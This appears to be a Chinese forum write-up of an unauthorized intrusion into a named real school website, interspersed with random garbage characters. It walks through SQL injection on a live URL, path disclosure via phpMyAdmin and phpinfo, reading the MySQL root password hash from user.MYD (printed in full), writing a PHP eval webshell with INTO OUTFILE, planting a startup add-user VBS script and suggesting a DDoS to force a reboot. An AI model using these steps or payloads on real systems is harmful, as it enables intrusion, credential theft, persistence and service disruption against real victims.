友情检测湖北省大治市第一中学

admin

第一眼看去，好像全是html静态的，都知道静态的根本不好日，多点击几个专栏
1 f( S6 V% j/ b8 K: j0 y9 o发现这个：http://www.dyyz.net.cn/celebrate/list.php?id=3  -0  -1 判断后确认存在注入！

( `9 U4 e, \6 h) }# i) _

6 E0 q. B/ ?' l$ l% K常规手工不行，尝试突破也不行，利用穿山甲 可以注入：root权限

那么想可以直接写入shell ，getshell有几个条件：

1、知道站点物理路径

2、有足够大的权限

3、magic_quotes_gpc()=OFF
1 [$ u/ W# z% [( R: U- W" |% }
试着爆绝对路径：
1./phpMyAdmin/index.php?lang[]=1  
/ v# _, W: s* i, h& |3 N2./phpMyAdmin/phpinfo.php  
( [. E4 y, Q9 B' u0 |3./load_file()  
! W3 `2 S- k4 t4./phpmyadmin/themes/darkblue_orange/layout.inc.php  
5./phpmyadmin/libraries/select_lang.lib.php  
6./phpmyadmin/libraries/lect_lang.lib.php  
0 C1 {' U2 p2 W/ Z7 c! w. g+ N7./phpmyadmin/libraries/mcrypt.lib.php   
+ @) M% b& T0 n# g% h8./phpmyadmin/libraries/export/xls.php  
- M7 }' }# Q# O: L& i
均不行...........................
5 j6 _( M5 z9 x$ P1 V( X- R- A
9 {5 X; K. Z: r) ?* x1 K2 I0 a御剑扫到这个：http://www.dyyz.net.cn//phpinfo.php       获得网站路径：D:/www/phpinfo.php

权限为root，知道网站路径，可是条件3不符合，没法写入shell ，不过服务器存在phpmyadmin
4 E5 M1 X, Z& V9 c
5 J! D! K9 q) c; |* q默认不行，尝试万能密码：帐号 'localhost'@'@" 密码空 ，登录失败

' b: r2 y; W1 W敏感东西：http://202.103.49.66/Admincp.php  社工进不去...........

想想root还可以读，读到root密码进phpmyadmin 也可以拿shell

$ U3 {/ O$ M, V  Z8 lhttp://www.dyyz.net.cn//phpinfo.php  泄露了D:\phpStudy\PHP5\php.ini
* D: K! Q' y, [
) w" U  Y  X2 R5 Y% Y自己修改好读root密码的路径：D:\phpStudy\MySQL\Data\mysql\user.MYD

成功读到root密码：

17---- r(0072)
18---- o(006f)
1 b$ l  L0 i* V# H* U19---- o(006f)
20---- t(0074)
/ ?1 ~# {( X1 d* ]. |21---- *(002a)
22---- 8(0038)
23---- 2(0032)
, {  ?+ a; S! j" x/ `! z% ]* D% t24---- E(0045)
' U* m! I. N" C7 }  N25---- 1(0031)
26---- C(0043)
27---- 5(0035)
28---- 8(0038)
4 P& P. M% x7 _# {29---- 2(0032)
30---- 8(0038)
31---- A(0041)
9 b3 H$ J0 R' Q& R3 _  \% W32---- 9(0039)
) U; ^2 W2 z$ e6 k+ J! Y# `* ?33---- B(0042)
# c* D  j# |8 |! p# u. |34---- 5(0035)
+ w& W+ V# D  S' y2 }35---- 4(0034)
! Q- h0 i6 ~, {% y8 [36---- 8(0038)
( |+ n! W: I( w37---- 6(0036)
9 z! H6 l% j4 \3 q38---- 4(0034)
" p0 ?+ N9 p5 y- V' x% |9 E39---- 9(0039)
40---- 1(0031)
2 k* `. [5 o/ J9 `0 c41---- 1(0031)
42---- 5(0035)
43---- 3(0033)
44---- 5(0035)
45---- 9(0039)
46---- 8(0038)
; C  ?* E8 T3 r7 J! C0 e47---- F(0046)
. f4 m+ U' c! l48---- F(0046)
49---- 4(0034)
50---- F(0046)
51---- 0(0030)
52---- 3(0033)
53---- 2(0032)
54---- A(0041)
) x& A! q1 N' [" f55---- 4(0034)
56---- A(0041)
7 e! L4 y" [* P- Q57---- B(0042)
58---- *(0044)
59---- *(0035)
9 E% }9 S+ a) I; V) o60---- *(0041)
, H6 S* \+ m* x. M61---- *0032)
; S3 F; R6 ?1 _: F0 K3 Y; e
解密后成功登陆phpmyamin
                          

. T  U: y5 P7 H                             

9 t$ Q4 A2 w. J2 U找到mysql数据库，执行sql语句：elect '<?php @eval($_POST[pass]);?>'INTO OUTFILE 'd:/wamp/www/daxia.php'
( ^: p2 I+ b& L8 W" T  ^
成功执行，拿下shell，菜刀连接：
' P# r) Z* Y! Z) O6 t" _& F
服务器不支持asp,aspx,php提权无果...................

但服务器权限很松，上传个远控小马或是一个添加用户的vbs程序到启动里：

服务器上已经有个隐藏帐号了

别名     administrators
注释     管理员对计算机/域有不受限制的完全访问权

成员

  G6 k: o+ h9 Z) ?3 b! R2 c  J

-------------------------------------------------------------------------------
admin
Administrator
9 G% X) C5 \( Vslipper$
# B3 @4 b) r: i- Hsqluser
命令成功完成。
% `& X1 F' V) ?5 ]& n
6 t  @+ m) B0 ?( p+ n& A. ]服务器权限很松，上传个vbs添加用户的到启动，不要用bat，会开机的时候显示运行批处理的。
1 D5 g+ O& c  E# Y0 y8 O
5 |3 i' b$ x+ ?& A! C* r# Hddos服务器重启，不然就只能坐等服务器重启了...............................
' U  h- E( q! n/ w, r) ]& Y
      

angel